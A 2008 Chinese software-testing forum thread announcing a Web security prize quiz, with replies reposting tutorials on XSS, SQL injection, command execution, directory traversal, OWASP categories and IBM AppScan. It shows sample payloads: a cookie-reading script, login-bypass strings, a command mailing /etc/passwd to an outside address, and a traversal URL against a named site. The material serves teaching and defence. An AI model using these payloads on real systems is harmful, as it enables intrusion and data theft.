Web应用安全有奖问答活动
2008春节似乎格外的热闹，南方多年未见的雪灾、震动香港娱乐界的艳照门、人流拥挤的春运、年年一度的春晚、微软收购雅虎、熊猫烧香作者的相关后续报道，也再次在安全领域拉响了警铃。为了感谢广大网友对51Testing的支持，也为了感谢所有在51testing软件测试论坛交流的热心网友，51Testing举办了本次针对Web安全有奖问答活动。具体活动细则如下：
活动时间：2008年2月21日-2008年3月20日24：00
参加办法：
会员挑选以下一个或多个问题回答。您可以直接回复相应的主题帖来回答问题或发表个人看法。
问题：
一、{有奖问答}常见的 Web 应用攻击有哪些？点击回答
二、{有奖问答}你一般用什么工具来进行应对 Web 安全漏洞？点击回答
三、{有奖问答}您认为Web 应用有哪些安全隐患？点击回答
四、{有奖问答}使用 Rational AppScan 如何保证 Web 应用的安全性？点击回答
五、{有奖问答}使用 Rational AppScan 如何应对 Web 应用攻击？点击回答
六、{有奖问答}AppScan为什么要归入Rational家族？点击回答
奖项设置：
（1）最具权威回答奖： 12名，奖品：IBM双肩电脑背包 1个
评选标准：由相关专家针对有奖答题帖子回复内容进行评选，最终评选出当月12个最具权威回答奖并给予以上奖励。
（2）热烈讨论奖： 50位，奖品： IBM单肩电脑包1个
评选标准：在活动期间，针对热烈参与讨论、回答问题的用户，挑选50名进行奖励。管理员对用户回答内容进行核查，如发现与主题无关，或者恶意灌水帖的内容，取消获奖资格，并从剩下用户中相应的名额。
颁奖时间：
于3月31日前在论坛公布获奖名单，奖品以邮寄的方式寄出给获奖者
特别说明：
1、本方案只针对活动期间所产生的回答进行评选。
2、本方案的最终解释权归51Testing所有。
相关知识：
当前 Web 应用正面临着日益严峻的安全挑战，根据 Gartner 的最新调查，信息安全攻击有 75% 都是发生在 Web 应用而非网络层面上。同时，数据也显示，三分之二的 Web 站点都相当脆弱，易受攻击。IBM Rational AppScan，作为先进的 Web 应用自动化诊断工具，能高效率发现应用中存在的安全隐患，协助企业制定 Web 应用安全解决方案，从根源上堵截 Web 应用的安全漏洞。
欢迎大家积极参加！中奖机率大！欢迎踊跃拿奖！ 一、{有奖问答}常见的 Web 应用攻击有哪些？
三、{有奖问答}您认为Web 应用有哪些安全隐患？
------
这两个问题其实比较又依赖性，有了隐患才有攻击的切入点，所以在这里一起。我也不是安全方面的专家，不过既然51吧论题放在这里了，我们也就重在参与，呵呵，将一些资料进行了搜集然后整理后放在这里供大家参考。 大多数 Web 应用程序攻击都需要在 HTTP 请求中传入恶意输入。 通常的目的是强制应用程序执行未授权的操作或者破坏其正常操作。这就是为什么彻底的输入验证是许多攻击的核心对策，而且它应该在开发 ASP.NET Web 页和控件时被置于最高优先级的原因。最大的威胁包括：
• 代码注入
• 会话攻击
• 标识欺骗
• 参数操作
• 网络侦听
• 信息泄漏
。。。
－－－转至《构建安全的 ASP 页和控件》
http://www.cnblogs.com/ewebapp/archive/2006/02/17/332577.html
这个文章看是为开发所写，实际上作为测试看了后，对在安全方面的测试也会有很大的收获，在测试路径覆盖上的考虑已经CASE的设计肯定都是有帮助的 大家经常会听到看到很多很多有关安全性方面的信息，可以说形形色色，对于在网络安全方面不太专业的同志来说，有点眼花缭乱，理不出头绪。在这里，我来帮大家整理一下。
以我个人多年来从事Web安全方面的工作经验及国外一些权威安全机构对Web安全的层次性的理解，我们通常把它分为三个层次：
１、网络安全。如防火墙、路由器、网络结构等相关的安全问题
２、系统与服务安全。如Window/Linux/Unix系统本身的漏洞或运行于其上的服务的安全，象Apache/OpenSSL/Weblogic等本身的安全性漏洞
３、Web应用程序安全。具体应用程序的安全性漏洞，比如：某网站邮件系统因为存在脚本安全性问题，导致该邮件系统的用户在收到具有恶意代码的邮件时不知不觉的，其密码与帐号信息被人窃取。
说到这，大家应该清楚，不管你是在任何地方看到有关计算机安全性问题的方方面面，都逃不出这三大部分，同时我也要向读者声明一下：在这里，我主要是给大家陆续的介绍上述第三部分内容，即Web应用程序安全性相关知识与技能。
据权威搜索引擎公司统计数据显示，目前70%以上的网站，或多或少的存在安全隐患，这里的安全隐患指的就是Web应用程序的安全。至于网络、系统与服务的安全性问题，我个人认为它的生存周期基本上是：发现->上报软件开发商->打补丁->下载更新程序。作为我们用户，及时的给系统与服务打上最新的补丁，配合一定的防火墙安全策略，是可以基本保证其安全的。但是Web应用程序基本上是每个组织各持一套自己的程序，一切问题都必需自己动手去解决，恰恰因为此种特性，才导致目前运行于互联网上的Web应用的安全性普遍存在。为什么呢？因为只有少数组织或个人有能力驾驭网络安全相关的技术与经验，而绝大多数的即使是专业做网站开发的公司也不一定有知识有能力或有意识去考虑安全性问题．
还要向读者罗嗦一点是的：安全需要意识，没有安全意识的组织与个人，是无法保证其开发出的产品的安全性的。这一点很重要，很多人只是从媒体上看到听到一些安全性问题，总觉得安全性问题离自己很遥远，其不知安全性问题正在对其造成越来越严重的破坏......。前不久上海有一位朋友，银行卡的资金不明转出，且被人取走，报警后，经警方多方调查跟踪，最络查明：其经常使用网上银行的笔记本电脑中了“灰鸽子”木马，导致其操作电脑的行为及其电脑上的现在资源完全暴露无遗。有人要问：“灰鸽子”是如何跑到其计算机上的呢？当然进去的途径有多种，比如我们是网友，我通过ＱＱ发给你让你运行一下；或者我向你推荐一款你比较感兴趣的免费软件，该软件内部已经绑定了“灰鸽子”木马程序......，还有一点很重要的就是通过网页来传播。比如通过脚本注入的方式，强行的不停的提示你下载并运行该程序；通过上传漏洞上传到一个你信任的网站上，当它提示你下载并安装时，你发现它来自你信任的网站，于是就接受了......
总之，Web应用程序是我们接触最多最有可能通过带来安全隐患的载体。我将在之后的文章里步步向大家介绍Web应用程序安全性相关的知识、方法与我个人的多年从事web应用程序安全性检测的经验。希望我的努力就是您的需要。
－－－－转自《Web安全性问题的层次关系》 相信大家都或多或少的听过关于各种Web应用安全漏洞，诸如:跨site脚本攻击(XSS)，SQL注入，上传漏洞...形形色色.
在这里我并不否认各种命名与归类方式，也不评价其命名的合理性与否，我想告诉大家的是，形形色色的安全漏洞中，其实所蕴含安全问题本质往往只有几个。 我个人把Web应用程序安全性本质问题归结以下三个部分：
１、输入／输出验证(Input/output validation)
２、角色验证或认证(Role authentication )
３、所有权验证(Ownership authentication)
说到这，读者一定想知道我这三种分类与形形色色的安全性问题有什么关系？下面我逐个给您概略解答：
输入／输出验证
这里的输入与输出其实都是发生在用户界面（User Interface）这一个层面上的，比如：你某一站点上提交一份注册信息，往往会收到诸多提示：“用户名非法”，“姓名不能使用英文“......其实这就是输入验证的一个实例。什么情况是输出呢？ 比如说你成功提交一份注册信息后，系统会返回一个确认页（Registerred Confirmation），往往在这个页面上会显示你注册时提交的部分或全部信息，那么在这里显示的信息就是我所说的输出实例之一，输入需要做什么验证？ 假如你在提交时，在Address那一栏输入：<script>alert("iwebsecurity");</script>, 当你到达注册的确认页时，会有什么发生？如果确认页没有做输出验证处理，那很显然会在到达确认页的时候出现一个Javascript打出的提示框。其实这就是跨site脚本攻击的一个小小的实例。当然了，单纯的输入／输出验证涉及的面可能够写一小本书了，努力在后续文章中给大家详解。
角色验证或认证
我们就拿ＣＳＤＮ来说吧，用户有这些角色：其一可以说是游客，就是浏览者没有登录时的角色；其二是免费的注册用户；或许将来ＣＳＤＮ深入发展了，业务有所更新，还会出现收费的注册用户。以上只是用户角色，那在ＣＳＤＮ公司内部还会有管理员角色，还有可能管理员又可以根据板块分为各种不同的角色。大家看到了吧，你天天访问的ＣＳＤＮ一共可能有多少角色？ 接下来的问题就是权限问题了，为什么会有角色？ 就是为了控制权限的。每种角色都有自己特定的与公共的权限，这些权限的逻辑关系是相当复杂的，如果一个Web应用在角色上没有一个详细的合理的设计，将会给开发人员带来无限痛苦和麻烦。那现在我要问几个问题：你能保证每种角色只能做其份内的事儿？你是如何去保证的呢？方法可靠吗？有没有漏洞？...... 这，就是我要说的角色验证或认证。ＢＴＷ：为什么我会说验证或认证呢？你可以这么理解，角色性存在于两个阶段，其一进入阶段，比如你登录的那一瞬间，你进入了一个特定的角色；另一个阶段就是维持阶段，你如何确保你登录后总是以登录时的身份在操作呢？那前者可以说是：认证，后者就是验证了。（有点罗嗦不？）
给一个角色认证／验证方面的虚拟案例，比如：一个在线电影服务提供商，会免费给您开一个试用角色，如果这试用角色验证不当，可能会导致用户权限提升而成为一个合法的收费用户，而这个收费用户你往往却收不到他的任何费用。
所有权验证
这个问题的存在也是基于角色的，只不过它所关心的是同级别的角色之间的权限问题。就拿ＣＳＤＮ来说吧，我是ＣＳＤＮ的一个免费用户，你也是。现在的问题是：我可以替你操作吗，我可以替你发表文章吗？我能修改你的个性设置吗？如果不能，CSDN是如何实现的？虽然你和我都是普通用户，但是你有你的隐私我也有我的隐私，如何保证严格的所有权验证就显得尤为关键了。比较简单吧，这就是我所说的所有权验证。
我可以很自信的告诉你，只要是Web应用安全性问题，它逃不出在这三大部分，可能你还无法把形形色色的Web应用安全性问题与这三个部分对应并合理的解释清楚，但是确实只有这么简单的几个部分。如果您有疑问，可以以评论的方式提问。我可能会回复，也可能会以另一篇文章的形式出现，以供大家参考。
－－－－转自《解读Web应用程序安全性问题的本质 》 Web应用程序的安全性问题依其存在的形势划分，种类繁多，这里不准备介绍所有的，只介绍常见、比较常见和有点常见这种级别的。我相信从Web应用安全角度来说，会比你从网上搜的要全面的多。以下是这些安全性问题的列表：
１、跨站脚本攻击(CSS or XSS, Cross Site Scripting)
２、SQL注入攻击(SQL injection)
３、远程命令执行(Code execution，个人觉得译成代码执行并不确切)
４、目录遍历(Directory traversal)
５、文件包含(File inclusion)
６、脚本代码暴露(Script source code disclosure)
７、Http请求头的额外的回车换行符注入(CRLF injection/HTTP response splitting)
８、跨帧脚本攻击(Cross Frame Scripting)
９、PHP代码注入(PHP code injection)
１０、XPath injection
１１、Cookie篡改(Cookie manipulation)
１２、URL重定向(URL redirection)
１３、Blind SQL/XPath injection for numeric/String inputs
１４、Google Hacking
......
下面我们来看看它们的概念由于时间与篇幅原因，本文只介绍第一到第二，后面将在后续文章中介绍：
跨站脚本攻击(CSS or XSS)
相信绝大多数人对跨站脚本弱点已经早有耳闻。２００６年全球网络安全弱点Top10排名当中，它荣登榜首！为什么它有如此之大的影响力呢？个人觉得原因有三：其一、攻击难度小。不管是技术还是实现攻击的成本上都比较容易；其二、它存在的载体（浏览器）使用极其广泛；其三、它所依赖的技术被广泛的应用与支持（Javascript,VB Script, HTML,ActiveX, Flash）。说了这么多，它到底是什么呢？
XSS是一种存在Web应用中，允许黑客以最终用户的身份向Web应用注入恶意脚本，以愚弄其他用户或获取其他用户重要数据和隐私信息为目的的一种攻击形式。XSS可使用的技术有JavaScript、VBScript、 ActiveX、 或 Flash， 且通常通过页面表单提交注入到web应用中并最终在用户的浏览器客户端执行。例如，一个没有经过安全设计并实现的论坛，当你在跟贴时在正文输入这样的代码：
<script>alert(document.cookie);</script>
当其它用户浏览时便会弹出一个警告框，内容显示的是浏览者当前的cookie串。试想如果我们注入的不是以上这个简单的测试代码，而是一段经常精心设计的恶意脚本，当用户浏览此帖时，cookie信息就可能成功的被攻击者获取。此时浏览者的帐号就很容易被攻击者掌控了。说到这，一些初学者可能还不太清楚它的危害到底在哪里，不用着急，我会在后续的文章中详细给大家介绍有关“Web工作原理”内容，到时你就会很清楚的理解这些了。有关ＸＳＳ的攻击实例、手段和方法是多种多样的，你的脚本技能加上你的安全知识决定了你对其理解的深度。顺便提一句：你可能无法成为XSS安全弱点的攻击专家，但是你可以成为安全检测专家。因为从安全检测角度来说，你无需证明问题的严重性细节，只需要证明此类问题存在就可以了。
简要的解决方案（等Web工作原理部分讲完再深入）：
不管是上述的哪一种技术实现的ＸＳＳ攻击，最终都离不开两点：其一是浏览器的解析，其二是脚本语法，其三是脚本需要一定的长度。对于浏览器的解析是不在话下了，我不能因为这各类型问题的存在就改写浏览器使其不支持脚本解析。所以，能做就是控制脚本注入的语法要素。比如：javascript离不开：“<”、“>”、“(”、“）”、“;”...等等，所以我们只需要在输入或输出时对其进行字符过滤或转义处理就可以了。一般我们会采用转义的方式来处理，转义字符是会使用到HTML的原始码（Web工作原理中会介绍），因为原始码是可以被浏览器直接识别的，所以使用起来非常方便。允许可输入的字符串长度限制也可以一定程度上控制脚本注入。比如：页面表单中姓名，我可以只允许你输入５个字符，请问你还有办法进行Javascript的脚本注入吗？显然不行了。还需要您注意的是：我这里所述的过滤、检测、限制等等策略，一定一定要在Web Server那一端去完成，而不是使用客户端的Javascript或者VBScript...去做简单的检查。因为真正的攻击者不会仅仅依赖于浏览器去做攻击，而更多的往往是借助于第三方工具，根本就可以绕过你精心设计制作的客户端Javascript进行过滤、检测或限制手段的。
SQL注入攻击(SQL injection)
早在十几年前，基于数据库的Web应用刚刚盛行的时候，几乎所有的开发商都忽略了ＳＱＬ注入弱点，导致当时绝大多数的网站的登录入口形同虚设！为什么呢？先给一个小小的例子，假如以下ＳＱＬ代码是用来在网站登录入口入执行用户验证时的查询代码：
SELECT count(*)
FROM users_list_table
WHERE username='USERNAME'
AND password='PASSWORD'
以上的USERNAME就是我们登录时提供的用户名，PASSWORD就是我们登录时提供的密码。当用户输入正确的用户名和密码时，这条语句的执行结果将为真（True），否则为假（False），当然为真时我们就认为认证通过，为假时就认为认证失败，即非法登录。试想一下，如果我在输入用户名和密码的时候输入如下的内容：
用户名：a' or 'a'='a
密码：a' or 'a'='a
用代入法把用户名和密码输入值代入到上述的ＳＱＬ脚本里结果如下：
SELECT count(*)
FROM users
WHERE username='a' or 'a'='a'
AND password='a' or 'a'='a'
相信稍懂一点儿ＳＱＬ语句的人都知道，这条语句的执行结果就永远是真了！此时你不需要有帐号，就直接登录成功了！你对此漏洞理解的深度同样取决于你的对ＳＱＬ语句的技能和web安全知识能力。一个具有良好技能的攻击者可能利用此漏洞获取后台ＤＢ的结构并逐步获取ＤＢ的信息。
总结一下：ＳＱＬ注入弱点是存在基于数据库的Web应用中，黑客利用精心组织的ＳＱＬ语句，通过Web接口（通常指我们的Web页面的表单）注入的Web应用中，从而获取后台ＤＢ的访问与存取权的一种安全弱点。
简要的解决方案：
刚刚介绍了ＸＳＳ，在这里关于ＳＱＬ Injection我想就无需多说了，都是过滤、合法性检查和长度限制等通用方法。
有没有注意到，ＸＳＳ和SQL Injection，虽然名字不一样，但它们似乎都属于我前一篇文章《解读Web安全性问题的本质》中的第一部分，即输入／输出验证。下面将要介绍的远程命令执行、目录遍历和文件包含同样也是输入/输出验证问题。
远程命令执行(code execution)
先不解释它的概念，我们先假设这样一个用户使用场景：
有一个站点的管理入口功能非常强大，大到什么程度呢？可以重启Web服务器。你能想出来它是如何实现的吗？我们知道不管是PHP还是JSP，我们都可以在服务器通过Shell调用系统(Linux or Windows)命令，等命令执行后，将执行结果返回给客户端。其实我们通过Web Page的管理入口管理服务器端的各种服务就是通过类似这种渠道完成的。这里会有什么问题？比如我们要重启apache，假如系统是通过这个命令来完成的：/$path/./apche -restart。这里的$path是Web应用程序的基准路径（比如：apache上的documentroot），它的实现方式是这样的：通过用户浏览器客户端传送一个命令串，给Web server，web server通过调用shell来执行传过来的命令。试想，如果我通过浏览器客户端强行传送一个：restart, shutdown之类的命令给server，结果会是什么样子？这只是起一个小小的破坏作用，那如果我传送一个：mail abc@abc.abc </etc/passwd，执行结果是什么？结果是将linux系统的passwd文件（linux系统用户信息）发送到指定的邮箱abc@abc.abc。是不是很可怕呢？这就是远程命令执行漏洞的一个小小的典型例子。至于它的更深远的安全隐患在哪里还需要你有更多的相关基础知识才能够得以深入理解和运用(比如：Web server OS, Web Service-apache/weblogic/tomcat...相关的使用技能)。
总结一下：远程命令执行漏洞一般发生在Web系统允许用户通过Web应用接口访问与管理Web服务器且没有经过严格的输入验证与过滤的情况下的一种Web应用安全漏洞。
简要的解决方案：
１、严格限制运行Web服务的用户权限。就是说你的Web应用可以访问你的服务器系统的用户权限。一般情况一下，我们应该以白名单的形式介定Web应用可以访问服务器系统的权限。这样控制可以从系统级达到安全防范的效果。
２、严格执行用户输入的合法性检查。注意这里的输入不一定是你通过表单从键盘输入，往往是Web应用已经内定了某一些操作供您选择，而此时你可以通过Http抓包的方式获取Http请求信息包经改装后重新发送。详细理解这一部分，请关注我后续将来介绍的《Web工作原理》部分的Http协议原理。
目录遍历(Directory traversal)
部分朋友应该知道之前我在我的blog里公布了ah163.net上的一个安全漏洞，安全级别高：极度危险，由于我没有公布细节，大家都比较好奇想知道是什么。出于对同行的尊重我就删除了漏洞公布这一栏的内容了。我已经通知ah163.net的同行了，他们已经fix那个问题。今天我们就讲讲这个漏洞。
love.ah163.net上有网络硬盘服务，当注册用户登录并开通网络硬盘服务后，即可进入自己的硬盘管理界面，我们来看看它是如何进入某一个目录的，以下是进入某一目录的ＵＲＬ：
http://love.ah163.net/Personal_Spaces_List.php?dir=MyFolder
那现在我把这个ＵＲＬ改装一下：
http://love.ah163.net/Personal_Spaces_List.php?dir=../../../../../../../../../../../../../usr/local/apache/conf/
在浏览器里运行它，会是什么结果呢？结果是：/usr/local/apache/conf/里的所有文件都老老实实的列出来了，通过这种方式，你可以发挥你的想象了，服务器上的东东是不是都差不多可以列出来了？告诉你，还可以随便下载呢！网络硬盘嘛，就是用来上传下载的，所以它提供的功能很完备，破坏性也就很强了。至于它的危害有多大，你自己想去吧，我就不危言耸听了。
简要的解决方案:
１、同样是限制Web应用在服务器上的运行
２、进行严格的输入验证，控制用户输入非法路径
－－－－转自《常见Web应用安全问题(1 - 4)(一)》 上面的三篇文章均是出自http://blog.csdn.net/iwebsecurity上的文章
这个是我在看相关资料的时候觉得写得比较好的，所以转出来供大家分享。如果大家比较有兴趣可以自己去看看，可信最近没有更新，特别是关于常见Web应用安全问题(1 - 4)，我看了几次，都非常具有实战意义的，呵呵，期待2－4早点能出炉
－－－－
我就先坐个SF，希望大家能踊跃参与哦 ：）
贵在参与，给你参考！
一、{有奖问答}常见的 Web 应用攻击有哪些？五、{有奖问答}使用 Rational AppScan 如何应对 Web 应用攻击？
一、常见针对 Web 应用攻击的十大手段
目前常用的针对应用漏洞的攻击已经多达几百种，最为常见的攻击为下表列出的十种。
十大攻击手段
应用威胁 负面影响 后果
跨网站脚本攻击 标识盗窃，敏感数据丢失… 黑客可以模拟合法用户，控制其帐户。
注入攻击 通过构造查询对数据库、LDAP 和其他系统进行非法查询。 黑客可以访问后端数据库信息，修改、盗窃。
恶意文件执行 在服务器上执行 Shell 命令 Execute，获取控制权。 被修改的站点将所有交易传送给黑客
不安全对象引用 黑客访问敏感文件和资源 Web 应用返回敏感文件内容
伪造跨站点请求 黑客调用 Blind 动作，模拟合法用户 黑客发起 Blind 请求，要求进行转帐
信息泻露和不正确的错误处理 黑客得到详细系统信息 恶意的系统检测可能有助于更深入的攻击
被破坏的认证和 Session 管理 Session token 没有被很好的保护 在用户推出系统后，黑客能够盗窃 session。
不安全的木马存储 过于简单的加密技术导致黑客破解编密码 隐秘信息被黑客解密盗窃
不安全的通讯 敏感信息在不安全通道中以非加密方式传送 黑客可以通过嗅探器嗅探敏感信息，模拟合法用户。
URL 访问限制失效 黑客可以访问非授权的资源连接 黑客可以强行访问一些登陆网页、历史网
五{有奖问答}使用 Rational AppScan 如何应对 Web 应用攻击？
1. 通过 Rational AppScan 如何应对网站攻击
IBM Rational AppScan 正是应对这一挑战的利器。
如下图所示，Rational AppScan 工作方式比较简单，就像一个黑盒测试工具一样，测试人员不需要了解 Web 应用本身的结构。AppScan 拥有庞大完整的攻击特征库，通过在 http request 中插入测试用例的方法实现几百中应用攻击，再通过分析 http response 判断该应用是否存在相应的漏洞。整个过程简单易懂高效，测试人员可以快速的定位漏洞所在的位置，同时 AppScan 可以详细指出该漏洞的原理以及解决该漏洞的方法，帮助开发人员迅速修复程序安全隐患。对于攻击的特征以及测试用例用户不需要花费大量的精力，WatchFire 团队定期的对特征库进行更新，随着保证与业界的同步，最大化的提高用户的工作效率。
图 4. Rational AppScan 工作示意图
下面我们通过简单的实例介绍一下 Rational AppScan 的使用：
• 定义扫描
首先确定扫描站点的 URL，根据默认的模板配置向导，确定扫描的整个站点模型以及你想扫描的漏洞种类。例如，我想扫描企业应用 www.xxx.com，想根据默认值扫描是否有安全隐患，启动 AppScan，创建一个扫描，敲入 www.xxx.com; 根据配置向导直至完成。
图 5. 默认的模板配置向导
图 6. 创建一个扫描
• 扫描启动，进行测试
只需要点击执行。
• 扫描结果查看
如图所示，AppScan 以各种维度展现了扫描后的结果，不仅仅定位了问题发生的位置，也提出了问题的解决方案。
图 7. 扫描后的结果
2. 对注入攻击的手段
在网站的应用中需要应用到大量的数据库查询检索等功能，例如最简单的例子是网站登陆，用户需要输入登陆名称和密码进行登陆认证。在早期的开发中通常使用最为简单的 select 语句实现此功能，即 select * from users where username = “XXXX” and password = “XXXX”( 假设数据库 user 表名称为 users，用户名和密码字段名称为 username 和 password)。通过截取用户在文本框中录入的字符串，再进行拼接，形成 select 语句，最终如果表 users 中有符合此条件的记录（即该用户名和密码），系统将会返回有效记录，从而允许登陆系统中。
然而，此开发方法隐藏了一个巨大的漏洞，黑客可以通过 SQL 注入攻击攻入网站。如下图所示，黑客在登陆界面录入的不是用户名，而是一串字符串 (’or 1=1 --)。黑客的目的是在原本应该录入用户的地方录入了一串字符串，导致整个 select 语句发生了变化：select * from users where username=’’or 1=1。熟知 Select 语句的人知道，在条件语句中，无论用户名称是否正确，由于 1＝1 永远是正确的，所以 select 将会将所有 users 表中的数据返回。最终的结果是，黑客登陆到这个系统中。通过 SQL 注入攻击，黑客可以轻松的敲入一些 sql 语句登陆进网站、对隐秘数据进行查询等等。
图 3. 攻击举例
通过上述原理描述我们可以看到，对于 SQL 注入攻击无论是防火墙还是入侵检测系统都无法预防和阻止，唯一的办法是将应用本身的漏洞关闭。例如通过参数的传递配合存贮过程来实现数据库查询，这比动态的构建 sql 语句安全很多。比如在 ASP.net 中通过下面的程序将会避免攻击：
' Visual Basic example
Dim DS As DataSet
Dim MyConnection As SqlConnection
Dim MyCommand As SqlDataAdapter
Dim SelectCommand As String = "select * from users where username = @username"
...
MyCommand.SelectCommand.Parameters.Add(New SqlParameter("@username",
SqlDbType.NVarChar, 20))
MyCommand.SelectCommand.Parameters("@username").Value = UserNameField.Value
// C# example
String selectCmd = "select * from Authors where state = @username";
SqlConnection myConnection = new SqlConnection("server=...");
SqlDataAdapter myCommand = new SqlDataAdapter(selectCmd, myConnection);
myCommand.SelectCommand.Parameters.Add(new SqlParameter("@username",
SqlDbType.NVarChar, 20));
myCommand.SelectCommand.Parameters["@username"].Value = UserNameField.Value;
除了注入缺陷攻击，常见的应用攻击还有跨网站脚本攻击、恶意文件执行攻击、不安全直接对象应用攻击、跨站点请求伪造攻击、信息泄漏以及利用错误处理机制展开攻击、等等。每种攻击都类似与 SQL 注入攻击，根据应用程序本身的漏洞，对系统进行破坏工作，例如：获取系统权限、获取机密信息、模拟合法用户等等。
综上所述，这些利用 Web 应用漏洞的攻击是 Web 安全最主要的威胁来源，75％的攻击来源于此，只有对应用程序本身进行改造才能避免攻击。然而，如何发现这些应用漏洞是保证安全的第一前提，我们如何以最快最有效的方式发现 Web 应用本身的漏洞呢？没有高效检测手段，安全的 Web 应用将成为水中花镜中月。
－－－－转自IBM 软件部高级信息工程师的佳作 呵呵，奖品不错~大家多努力。
答复：常见的web应用攻击有哪些？
OWASP：一、Cross Site Scripting (XSS) Flaws 跨站点脚本攻击——XSS是一种常见的攻击。当攻击脚本被嵌入企业的Web页面或其它可以访问的Web资源中，当没有保护能力的台式机访问这个页面或资源时，脚本就会被启动。这种问题可以影响成百上千的员工以及企业客户的终端电脑。
二、Injection Flaws 注入式攻击——如果没有成功的阻止带有语法含义的输入内容，有可能导致对数据库信息的非法访问。比如在Web表单中输入的内容，应该保持简单，并且不应该还有可被执行的代码内容。
三、Malicious File Execution 恶意文件执行。
四、Insecure Direct Object Reference 不安全的直接对象引用。
五、Cross-Site Request Forgery 跨站点的请求伪造。
六 、Information Leakage and Improper Error Handling 信息泄漏和不正确的错误处理——当错误发生时，向用户提交错误提示是很正常的事情，但是如果提交的错误提示中包含了太多的内容，就有可能会被攻击者分析出网络环境的结构或配置。
七、Broken Authentication and Session Management 失效的账户和线程管理——良好的访问控制并不代表万事大吉了。企业还应该保护用户的密码，会话令牌，账户列表以及其它任何可以给攻击者提供有利信息帮助他们攻击企业网络的内容。
八、Insecure Cryptographic Storage 不安全的密码存储 ——对于Web应用程序来说，妥善的保存密码，用户名，以及其它与身份验证有关的信息是非常重要的工作。对这些信息进行加密是非常有效的方式，但是一些企业会采用那些未经实践验证的加密解决方案，其中就可能存在漏洞。
九、Insecure Communications 不安全的通信。
十、Failure to Restrict URL Access 未能限制 URL 访问。
WASC：
Authentication （验证）：用来确认某用户、服务或是应用身份的攻击手段。
Authorization （授权）：用来决定是否某用户、服务或是应用具有执行请求动作必要权限的攻击手段。
Client-Side Attacks （客户侧攻击）：用来扰乱或是探测Web站点用户的攻击手段。
Command Execution （命令执行）：在Web站点上执行远程命令的攻击手段。
Information Disclosure （信息暴露）：用来获取Web站点具体系统信息的攻击手段。
Logical Attacks （逻辑性攻击）：用来扰乱或是探测Web应用逻辑流程的攻击手段。
[ 本帖最后由 juliett 于 2008-3-10 11:29 编辑 ] 多谢分享，先下来看看！！
页:
[1]
